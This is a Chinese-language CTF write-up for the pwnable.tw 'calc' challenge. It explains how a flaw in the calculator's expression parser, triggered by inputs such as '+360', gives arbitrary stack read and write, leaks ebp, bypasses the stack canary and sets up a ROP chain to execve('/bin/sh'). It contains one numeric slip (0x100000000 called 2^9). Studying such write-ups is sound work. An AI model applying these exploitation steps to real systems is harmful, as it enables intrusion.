pwnable.tw之calc
本题考查的是对程序逻辑的理解,达到任意地址读写的目的,并最终利用ROP技术执行execve('/bin/sh')
。
题目分析
做过了前面pwnable.tw
两道题后,第三题calc的难度突然增大。
checksec
检查下开启了canary
和NX
。
1
2
3
4
5
6Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
通过IDA
pro分析,并没有发现栈溢出和堆溢出的逻辑,倒是发现了程序在parse_expr
函数中,通过malloc
得到的堆内存没有free
掉。
那好只能捋一遍逻辑了。
main
函数没什么可分析的,直接进入calc
函数。
1 | int calc() |
calc
函数主要逻辑最外层是无线循环,变量s
是0x400大小的数组,并每次循环清空为零;
get_expr((int)&s, 1024)
的作用是将用户输入的计算公式包括(0-9、+、-、*、
/、 %)
存入变量s
中。可知变量s
代表char[0x400]
。
init_pool(&v1);
的作用是将变量v1
的101个_DWORD
大小的元素清空置零。而从变量声明来看,v1
表示int[101]
,可以看作v2
是v1
的第二个元素。
parse_expr((int)&s, &v1)
用来处理字符串s
,并计算结果保存在v1
;
printf((const char *)&unk_80BF804, v2[v1 - 1]);
打印计算结果,计算结果存放在v2
中,也可以认为存放在v1
中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14_DWORD *__cdecl init_pool(_DWORD *a1)
{
_DWORD *result; // eax@1
signed int i; // [sp+Ch] [bp-4h]@1
result = a1;
*a1 = 0;
for ( i = 0; i <= 99; ++i )
{
result = a1;
a1[i + 1] = 0;
}
return result;
}
parse_expr分析
parse_expr((int)&s, &v1)
的作用是本程序的重要逻辑,负责计算公式。计算公式结果无非就是处理操作数和操作符,利用两个栈来处理,同时注意操作符的优先级。按照这个思路来分析本体会很清晰。
分析此函数,形参a1
是用户输入公式的过滤字符串,包含(0-9,+,-,*,/,%)。a2
存储中间的计算结果。
程序逐一遍历字符串a1
,直到碰到非数字字符,这里(unsigned int)(*(_BYTE *)(i + a1) - 48) > 9
的意思是a1[i]-'0'的绝对值大于9
,unsigned int
将负数转换成大整数。
1 | In [52]: chr(42) |
接下来将之前连续的数字字符保存在s1
中,!strcmp(s1, "0")
判断防止除零,但是有bug,但是不是我们想要的。
在转换字符串s1
为整数v10
后,
v4 = (*a2)++;
a2[v4 + 1] = v10;
这两句很关键,变量a2
的第一个元素存储操作数的个数,a2
之后当作存储操作数的栈。
具体的写到了下面代码中。到此还没有发现问题,只能继续分析eval(a2, s[v8]);
。
1 | signed int __cdecl parse_expr(int a1, _DWORD *a2) |
在eval
中,形参a2
是操作符,形参a1
有两个责任,a1[0]
记录着操作数栈上的个数,a1[1:]
是操作数栈。
比如:10+20-50
,在处理-
时,进入eval
函数,进行的处理为:
1
2
3
4初始: a1[0]=2, a1[1]=10, a1[2]=20, a2='+',
这时的做法是`a1[a1[0] -1] += a1[ a1[0] ]`,即a1[1]+=a[12],a1[1] = 30
--a1[0] ;
结束: a1[0] = 1;a1[1] = 30
所以,操作数栈最终的元素只剩下一个,a1[0] = 1
。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27_DWORD *__cdecl eval(_DWORD *a1, char a2)
{
_DWORD *result; // eax@12
if ( a2 == 43 )
{
a1[*a1 - 1] += a1[*a1];
}
else if ( a2 > 43 )
{
if ( a2 == 45 )
{
a1[*a1 - 1] -= a1[*a1];
}
else if ( a2 == 47 )
{
a1[*a1 - 1] /= a1[*a1];
}
}
else if ( a2 == 42 )
{
a1[*a1 - 1] *= a1[*a1];
}
result = a1;
--*a1;
return result;
}
最后的最后,main
函数输出printf((const char *)&unk_80BF804, v2[v1 - 1]);
,这里相当于取值a1[a1[0] -1+1]=a1[a1[0]]
。
分析到这里,老铁,好像没毛病。 ## 逆向思考
本着任意地址读写的目的,如果我们能够控制a1[0]
,那么我们就可以读取栈上从a1开始的任意数据了。
怎么控制a1[0]
呢,只能逆向推过去,分析eval
,a1[*a1 - 1] += a1[*a1];
,哈哈,控制a1[0]
就是让a1[0] = 1
;
因为只有这样,a1[ a1[0] -1 ] += a1[ a1[0] ]
才成立;
a1[0] = a1[0] + a1[1] = 1+a1[1]
。注意,“-,/,%”不好使,*
也可以,因为相当于a1[0] = a1[0] * a1[1] = 1*a1[1]
,也可以用,不过最后a1[0]-1
。
继续逆向分析,怎么让a1[0]
为1?由于a1
是操作数栈,让操作数为1个即可,只能让左操作数为空了。
尝试+10
,这可以泄露出a1[10]
的值,不过好像没什么卵用。
1
2
3
4
5➜ calc ./calc
=== Welcome to SECPROG calculator ===
+10
0
为什么会是0,哪里设置过了吗?查看calc
,还真是。
1
2
3
4
5···
bzero(&s, 0x400u);
···
init_pool(&v1);
···
a1(即v1)
距离ebp
偏移量为0x5a0,转换成数组下标为0x5a0/4=360。
这次重新尝试,泄露ebp
中的内容 1
2
3
4
5➜ calc ./calc
=== Welcome to SECPROG calculator ===
+360
-5665800
老铁,成功了一半,我们只是能够读任意地址了,如何写呢?
很简单,a1[*a1 - 1] += a1[*a1];
由于经过+360
我们已经控制了a1[0]
,那么之后无论再进行如何操作,都是对a1[a1[0]]
的操作。
比如:由于每轮计算清空v1
和s
,所以不一样,没关系,已经证明可以更改。
1
2
3
4
5
6
7
8
9➜ calc ./calc
=== Welcome to SECPROG calculator ===
+20
0
+20+10
10
+20+40
40
到这,栈上任意地址可读可写。该题的漏洞允许攻击者绕过canary直接篡改返回值,因此canary的值不变。
由于程序开启了NX保护,无法在栈上执行shellcode。而且程序是静态编译的。考虑的使用ROP技术来调用execve("/bin/sh")
来启动
shell,再通过cat命令查看flag的内容。 1
2
3
4
5
6➜ calc objdump -R calc
calc: file format elf32-i386
objdump: calc: not a dynamic object
objdump: calc: Invalid operation
我是第一次使用ROP,感觉太好用了,教程参考这里http://vancir.com/posts/ret2syscall%E6%94%BB%E5%87%BB%E6%8A%80%E6%9C%AF%E7%A4%BA%E4%BE%8B。
通过ROPgadget来查找小部件,类似于pop eax; ret
或mov eax, esp; ret
这样的代码碎片。具体的不再赘述。
难点在于/bin/sh\0
的地址;由于其存放在栈上,栈地址变化需要泄露出来。如何泄露栈地址?
我们能泄露保存在栈上的栈地址就是ebp
,在a1[360]
位置处存放的值是main
函数的ebp。那么我们只要确定main函数的栈空间大小即可。
1
2
3
4.text:08049452 push ebp
.text:08049453 mov ebp, esp
.text:08049455 and esp, 0FFFFFFF0h
.text:08049458 sub esp, 10h($ebp & 0xFFFFFFF0 -0x10)
。
我们布置好ROP代码是从a1[361]
开始,这里是calc
函数返回地址,/bin/sh\0
距离calc
的返回地址是已知的,而calc
返回地址在main函数栈指针esp低4字节位置。所以根据相对位置推出绝对位置。
坑啊,ebp应该是无符号数,但是被当作有符号数输出,输出的是负数,需要加上0x100000000(2^9)才是无符号数的真实值。我被这个折腾了好久。
python转换int32位无符号和有符号。 1
2
3
4import ctypes
def int32_to_uint32(i):
return ctypes.c_uint32(i).value
代码
有时候运行一次会中断,再运行一次即可。
1 | from pwn import * |
参考
[1] Pwnable.tw刷题之calc [2] Pwnable.tw calc